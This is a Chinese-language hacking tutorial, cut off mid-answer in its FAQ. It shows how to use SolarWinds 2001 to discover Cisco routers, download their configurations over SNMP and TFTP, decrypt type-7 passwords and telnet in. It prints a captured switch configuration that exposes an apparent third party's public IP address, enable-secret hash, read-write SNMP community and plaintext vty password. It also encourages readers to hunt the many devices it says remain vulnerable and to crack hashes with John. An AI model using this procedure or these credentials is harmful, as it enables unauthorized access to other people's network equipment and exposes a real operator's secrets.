|
一:可以对园区网设备施加的具体威胁,也可以理解为攻击思路,目标或手段 1:访问设备的控制端口和TELNET端口 2:访问路由器配置文件和了解口令 3:通过SNMP访问设备的配置文件并了解内部网络的拓扑结构 4:通过截获路由更新信息了解内部网络的拓扑结构 5:通过虚假的路由更新信息误导数据流的转发 6:访问敏感的内部网络 7:获得对路由器的HTTP访问 8:对或通过以太网交换机的非授权访问 二:几个基本知识 1:telnet是一种强有力的服务,它能为用户提供很多internet设施和服务的唯一访问手段,允许用户以明文方式远程访问一个命令界面,由简单的用户名/口令认证机制所控制,很容易被欺骗。telnet端口在路由器上被称为虚拟终端(vty)端口; 2:tftp不是一种安全的协议,因为它没有任何认证机制,也就是说不需要口令,入侵者可以很容易地用tftp请求文件传输,其可以用于得到路由配置文件并修改之; 3:SNMP是一个应用层协议,它在SNMP管理器和代理之间提供了一个通信管道,SNMP有多种访问级别:RO(只读),RW(读/写),W(允许对代理进行写操作)。SNMP团体 字符对MIB对象的访问进行认证,并作为嵌入的口令; 4:CISCO口令分为用户访问口令和特权级口令(enable)。缺省情况下,路由器上所有控制台口令是以明文形式存储在路由器配置中。有两种用于隐藏明文形式的口令:(一 般地)"Service password_encryption"命令用于加密用户访问口令,"enable secret"命令用于加密特权级口令,"Service password_encryption"命令所用的加密算法是一种不太复杂的可逆的基于Vigener密码的CISCO专有算法,安全级别低,有大量破解器能反 解CISCO口令;而"enable secret"则用到了一个基于MD5散列函数的单向加密算法,安全级别较高,目前尚无良好解决方法,但其仍然可能会受到强力破解或口令字典的攻击。 三:利用solarwinds2001得到CISCO密码 1:solarwinds2001是个集多种功能于一身的cisco管理工具,界面友好; 2:下载地址(52M左右) http://solarwinds.net/Download-Tools.htm http://download.online.tj.cn/software/internet/netassistant/15411. html http://peckerland.com/library/solarwinds2001.zip 3:工具条如下左图所示,酷似QQ,清晰明了! 4:打开Cisco Tools/IP Network Browser,界面如下图,简单设置如上右图; 5:发现CISCO路由器 6:还可以用Cisco Tools/Download Config来下载(下图) 7:TFTP Server自动启动(下图) 8:利用Cisco Tools/Config Editor&viewer打开下载的config文件,如下是我下载的一份配置文件: ! version 11.2 no service pad no service udp-small-servers no service tcp-small-servers ! hostname HGHLNDSWSTWD.07.IDF1A.DSW08 ! enable secret 5 $1$ukn/$LU0yrd7/YBqBNJRDlIVes.--->>>>MD5加密 ! ! ip subnet-zero ! ! interface VLAN1 ip address 209.11.111.8 255.255.255.192 no ip route-cache ! interface FastEthernet0/1 description Port connected to Apt# 7307 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/2 description Port connected to Apt# 7308 port security max-mac-count 1 no port security action trap ! interface FastEthernet0/3 description Port connected to Apt# 7309 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/4 description Port connected to Apt# 7310 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/5 description Port connected to Apt# 7311 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/6 description Port connected to Apt# 7337 port security max-mac-count 1 no port security action trap ! interface FastEthernet0/7 description Port connected to Apt# 7338 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/8 description Port connected to Apt# 7339 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/9 description Port connected to Apt# 7340 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/10 description Port connected to Apt# 7341 shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/11 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/12 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/13 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/14 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/15 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/16 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/17 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/18 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/19 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/20 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/21 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/22 description Port connected to Apt# shutdown port security max-mac-count 1 no port security action trap ! interface FastEthernet0/23 description Port connected to Fiber Link ! interface FastEthernet0/24 description Port connected to Fiber Link ! ip default-gateway 209.11.111.1 mac-address-table secure 0001.0235.5a4e FastEthernet0/2 vlan 1 snmp-server community N3tw0rk RO snmp-server community private RW snmp-server community public RO snmp-server chassis-id 0x0F ! line con 0 stopbits 1 line vty 0 4 password MDU!Admin -->>>>明文口令,未作加密处理!! login line vty 5 9 password MDU!Admin login ! end 9:如果配置文件中口令经"Service password_encryption"命令加密,比如说出现 “password 7 15110E1E2A2F3F”类的,用Cisco Tools/Router Password de..解密,如下图: 10:现在你就可以telnet *.*.*.* 进入了! 11:常见问题: (1)为什么老是下载不了config? 答:正常!有几个原因,无法辨别读取,路由器拒绝,TFTP server未设置添加允许传输IP段...要有点耐心,现在存在此漏洞的很多! (2)MD5加密的特权级口令怎么破解? 答:很难,但可以拿John跑跑。不妨拿用户级访问口令一试,有些路由的两个口令一样! (3)为什么我拿到了密码却telnet不上? 答:telnet不上是因为
|